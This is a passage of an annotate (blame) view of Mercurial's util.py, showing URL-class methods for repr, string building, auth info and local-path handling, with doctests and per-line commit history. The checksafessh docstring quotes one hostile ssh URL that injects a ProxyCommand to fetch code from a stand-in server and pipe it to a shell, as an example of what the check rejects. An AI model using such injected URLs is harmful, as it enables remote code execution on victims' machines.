url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3114 |
|
34072
30535fe47e78
py3: fix repr(util.url) to return system string
Yuya Nishihara <yuya@tcha.org>
parents:
34052
diff
changeset
|
3115 |
@encoding.strmethod |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3116 |
def __repr__(self): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3117 |
attrs = [] |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3118 |
for a in ( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3119 |
b'scheme', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3120 |
b'user', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3121 |
b'passwd', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3122 |
b'host', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3123 |
b'port', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3124 |
b'path', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3125 |
b'query', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3126 |
b'fragment', |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3127 |
): |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3128 |
v = getattr(self, a) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3129 |
if v is not None: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3130 |
attrs.append(b'%s: %r' % (a, pycompat.bytestr(v))) |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3131 |
return b'<url %s>' % b', '.join(attrs) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3132 |
|
33022
ce96efec8112
py3: add utility to forward __str__() to __bytes__()
Yuya Nishihara <yuya@tcha.org>
parents:
32886
diff
changeset
|
3133 |
def __bytes__(self): |
14147
617483af1cc0
test: test that backslash is preserved by the url class
Mads Kiilerich <mads@kiilerich.com>
parents:
14146
diff
changeset
|
3134 |
r"""Join the URL's components back into a URL string. |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3135 |
|
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3136 |
Examples: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3137 |
|
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
3138 |
>>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar')) |
15452
de7e2fba4326
util: don't encode ':' in url paths
Mads Kiilerich <mads@kiilerich.com>
parents:
15392
diff
changeset
|
3139 |
'http://user:pw@host:80/c:/bob?fo:oo#ba:ar' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
3140 |
>>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42')) |
14988
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
3141 |
'http://user:pw@host:80/?foo=bar&baz=42' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
3142 |
>>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz')) |
14988
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
3143 |
'http://user:pw@host:80/?foo=bar%3dbaz' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
3144 |
>>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3145 |
'ssh://user:pw@[::1]:2200//home/joe#' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
3146 |
>>> bytes(url(b'http://localhost:80//')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3147 |
'http://localhost:80//' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
3148 |
>>> bytes(url(b'http://localhost:80/')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3149 |
'http://localhost:80/' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
3150 |
>>> bytes(url(b'http://localhost:80')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3151 |
'http://localhost:80/' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
3152 |
>>> bytes(url(b'bundle:foo')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3153 |
'bundle:foo' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
3154 |
>>> bytes(url(b'bundle://../foo')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3155 |
'bundle:../foo' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
3156 |
>>> bytes(url(b'path')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3157 |
'path' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
3158 |
>>> bytes(url(b'file:///tmp/foo/bar')) |
14313
a389dd285282
util: make str(url) return file:/// for abs paths again
Peter Arrenbrecht <peter.arrenbrecht@gmail.com>
parents:
14271
diff
changeset
|
3159 |
'file:///tmp/foo/bar' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
3160 |
>>> bytes(url(b'file:///c:/tmp/foo/bar')) |
15611 | 3161 |
'file:///c:/tmp/foo/bar' |
34137
a8994d08e4a2
doctest: use print_function and convert bytes to unicode where needed
Yuya Nishihara <yuya@tcha.org>
parents:
34134
diff
changeset
|
3162 |
>>> print(url(br'bundle:foo\bar')) |
14147
617483af1cc0
test: test that backslash is preserved by the url class
Mads Kiilerich <mads@kiilerich.com>
parents:
14146
diff
changeset
|
3163 |
bundle:foo\bar |
34137
a8994d08e4a2
doctest: use print_function and convert bytes to unicode where needed
Yuya Nishihara <yuya@tcha.org>
parents:
34134
diff
changeset
|
3164 |
>>> print(url(br'file:///D:\data\hg')) |
20106
c33d9217e99d
util: url keeps backslash in paths
Simon Heimberg <simohe@besonet.ch>
parents:
20000
diff
changeset
|
3165 |
file:///D:\data\hg |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3166 |
""" |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3167 |
if self._localpath: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3168 |
s = self.path |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3169 |
if self.scheme == b'bundle': |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3170 |
s = b'bundle:' + s |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3171 |
if self.fragment: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3172 |
s += b'#' + self.fragment |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3173 |
return s |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3174 |
|
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3175 |
s = self.scheme + b':' |
14313
a389dd285282
util: make str(url) return file:/// for abs paths again
Peter Arrenbrecht <peter.arrenbrecht@gmail.com>
parents:
14271
diff
changeset
|
3176 |
if self.user or self.passwd or self.host: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3177 |
s += b'//' |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3178 |
elif self.scheme and ( |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3179 |
not self.path |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3180 |
or self.path.startswith(b'/') |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3181 |
or hasdriveletter(self.path) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3182 |
): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3183 |
s += b'//' |
15609
8f4bad72d8b1
util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents:
15505
diff
changeset
|
3184 |
if hasdriveletter(self.path): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3185 |
s += b'/' |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3186 |
if self.user: |
28883
032c4c2f802a
pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents:
28882
diff
changeset
|
3187 |
s += urlreq.quote(self.user, safe=self._safechars) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3188 |
if self.passwd: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3189 |
s += b':' + urlreq.quote(self.passwd, safe=self._safechars) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3190 |
if self.user or self.passwd: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3191 |
s += b'@' |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3192 |
if self.host: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3193 |
if not (self.host.startswith(b'[') and self.host.endswith(b']')): |
28883
032c4c2f802a
pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents:
28882
diff
changeset
|
3194 |
s += urlreq.quote(self.host) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3195 |
else: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3196 |
s += self.host |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3197 |
if self.port: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3198 |
s += b':' + urlreq.quote(self.port) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3199 |
if self.host: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3200 |
s += b'/' |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3201 |
if self.path: |
14988
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
3202 |
# TODO: similar to the query string, we should not unescape the |
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
3203 |
# path when we store it, the path might contain '%2f' = '/', |
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
3204 |
# which we should *not* escape. |
28883
032c4c2f802a
pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents:
28882
diff
changeset
|
3205 |
s += urlreq.quote(self.path, safe=self._safepchars) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3206 |
if self.query: |
14988
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
3207 |
# we store the query in escaped form. |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3208 |
s += b'?' + self.query |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3209 |
if self.fragment is not None: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3210 |
s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3211 |
return s |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3212 |
|
33022
ce96efec8112
py3: add utility to forward __str__() to __bytes__()
Yuya Nishihara <yuya@tcha.org>
parents:
32886
diff
changeset
|
3213 |
__str__ = encoding.strmethod(__bytes__) |
ce96efec8112
py3: add utility to forward __str__() to __bytes__()
Yuya Nishihara <yuya@tcha.org>
parents:
32886
diff
changeset
|
3214 |
|
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3215 |
def authinfo(self): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3216 |
user, passwd = self.user, self.passwd |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3217 |
try: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3218 |
self.user, self.passwd = None, None |
31841
9ff5a124d111
py3: replace str() with bytes()
Pulkit Goyal <7895pulkit@gmail.com>
parents:
31811
diff
changeset
|
3219 |
s = bytes(self) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3220 |
finally: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3221 |
self.user, self.passwd = user, passwd |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3222 |
if not self.user: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3223 |
return (s, None) |
15028
eb97a3e38656
http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents:
15027
diff
changeset
|
3224 |
# authinfo[1] is passed to urllib2 password manager, and its |
eb97a3e38656
http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents:
15027
diff
changeset
|
3225 |
# URIs must not contain credentials. The host is passed in the |
eb97a3e38656
http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents:
15027
diff
changeset
|
3226 |
# URIs list because Python < 2.4.3 uses only that to search for |
eb97a3e38656
http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents:
15027
diff
changeset
|
3227 |
# a password. |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3228 |
return (s, (None, (s, self.host), self.user, self.passwd or b'')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3229 |
|
14766
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
changeset
|
3230 |
def isabs(self): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3231 |
if self.scheme and self.scheme != b'file': |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3232 |
return True # remote URL |
14766
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
changeset
|
3233 |
if hasdriveletter(self.path): |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3234 |
return True # absolute for our purposes - can't be joined() |
33096
d9962854a4a2
py3: add b'' to make the regex pattern bytes
Pulkit Goyal <7895pulkit@gmail.com>
parents:
33094
diff
changeset
|
3235 |
if self.path.startswith(br'\\'): |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3236 |
return True # Windows UNC path |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3237 |
if self.path.startswith(b'/'): |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3238 |
return True # POSIX-style |
14766
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
changeset
|
3239 |
return False |
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
changeset
|
3240 |
|
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3241 |
def localpath(self): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3242 |
if self.scheme == b'file' or self.scheme == b'bundle': |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3243 |
path = self.path or b'/' |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3244 |
# For Windows, we need to promote hosts containing drive |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3245 |
# letters to paths with drive letters. |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3246 |
if hasdriveletter(self._hostport): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3247 |
path = self._hostport + b'/' + self.path |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3248 |
elif ( |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3249 |
self.host is not None and self.path and not hasdriveletter(path) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3250 |
): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3251 |
path = b'/' + path |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3252 |
return path |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3253 |
return self._origpath |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3254 |
|
20353
0889585b44f1
util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents:
20244
diff
changeset
|
3255 |
def islocal(self): |
0889585b44f1
util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents:
20244
diff
changeset
|
3256 |
'''whether localpath will return something that posixfile can open''' |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3257 |
return ( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3258 |
not self.scheme |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3259 |
or self.scheme == b'file' |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3260 |
or self.scheme == b'bundle' |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3261 |
) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3262 |
|
20353
0889585b44f1
util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents:
20244
diff
changeset
|
3263 |
|
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3264 |
def hasscheme(path): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3265 |
return bool(url(path).scheme) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3266 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3267 |
|
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3268 |
def hasdriveletter(path): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3269 |
return path and path[1:2] == b':' and path[0:1].isalpha() |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3270 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3271 |
|
14825
de9eb6b1da4f
util: rename the util.localpath that uses url to urllocalpath (issue2875)
Mads Kiilerich <mads@kiilerich.com>
parents:
14766
diff
changeset
|
3272 |
def urllocalpath(path): |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3273 |
return url(path, parsequery=False, parsefragment=False).localpath() |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3274 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3275 |
|
33650
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3276 |
def checksafessh(path): |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3277 |
"""check if a path / url is a potentially unsafe ssh exploit (SEC) |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3278 |
|
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3279 |
This is a sanity check for ssh urls. ssh will parse the first item as |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3280 |
an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3281 |
Let's prevent these potentially exploited urls entirely and warn the |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3282 |
user. |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3283 |
|
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3284 |
Raises an error.Abort when the url is unsafe. |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3285 |
""" |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3286 |
path = urlreq.unquote(path) |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3287 |
if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'): |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3288 |
raise error.Abort( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3289 |
_(b'potentially unsafe url: %r') % (pycompat.bytestr(path),) |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3290 |
) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3291 |
|
33650
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3292 |
|
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3293 |
def hidepassword(u): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3294 |
'''hide user credential in a url string''' |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3295 |
u = url(u) |
924c82157d46
